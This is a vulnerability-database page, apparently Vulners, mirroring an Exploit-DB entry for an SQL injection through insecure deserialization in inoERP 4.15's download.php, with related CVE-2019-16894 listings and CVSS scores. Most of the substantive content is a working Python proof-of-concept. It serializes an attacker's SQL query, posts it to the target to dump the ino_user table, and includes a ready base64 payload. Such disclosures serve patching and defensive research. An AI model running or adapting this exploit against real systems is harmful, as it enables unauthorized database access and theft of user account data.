Lucene search
+L

inoERP 4.15 - 'download' SQL Injection

🗓️ 26 Sep 2019 00:00:00Reported by Semen Alexandrovich LyhinType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 214 Views

'download' SQL Injection in inoERP 4.1

Related
Code
ReporterTitlePublishedViews
Family
checkpoint_advisories
Check Point Advisories
inoERP download.php Insecure Deserialization (CVE-2019-16894)
28 Mar 202100:00
checkpoint_advisories
cve
CVE
CVE-2019-16894
26 Sep 201914:34
cve
cvelist
Cvelist
CVE-2019-16894
26 Sep 201914:34
cvelist
euvd
EUVD
EUVD-2019-7392
7 Oct 202500:30
euvd
nvd
NVD
CVE-2019-16894
26 Sep 201916:15
nvd
osv
OSV
CVE-2019-16894
26 Sep 201916:15
osv
prion
Prion
Sql injection
26 Sep 201916:15
prion
redhatcve
RedhatCVE
CVE-2019-16894
22 May 202509:16
redhatcve
# Exploit Title: inoERP 4.15 - 'download' SQL Injection
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: http://inoideas.org/
# Version: 4.15
# CVE: N/A

# A malicious query can be sent in base64 encoding to unserialize() function.
# It can be deserialized without any sanitization then.
# After it, it gets passed directly to the SQL query.


#!/bin/python

import os
import base64
import requests
import sys

def generatePayload(query):
    #THIS FUNCTION IS INSECURE BY DESIGN
    b64_query = base64.b64encode(query);
    return os.popen("php -r \"echo base64_encode(serialize(base64_decode('" + b64_query + "')));\"").read()


def ExecSQL(query):
    data = {"data":query,
            "data_type":"sql_query"}

    r = requests.post("http://" + ip + "/download.php", data=data)
    return r.content


if __name__ == "__main__":

    if len(sys.argv) != 3:
        print '(+) usage: %s <target> ' % sys.argv[0]
        print '(+) eg: %s 127.0.0.1 "ierp/" ' % sys.argv[0]
        exit()

    ip = sys.argv[1] + "/" + sys.argv[2]

    #if don't have php, set Payload to the next one to check this SQLi via "select @@version;" payload: czoxNzoic2VsZWN0IEBAdmVyc2lvbjsiOw==

    data = r"select * from ino_user;"

    print ExecSQL(generatePayload(data));

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2019 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
CVSS 3.19.8
EPSS0.03022
214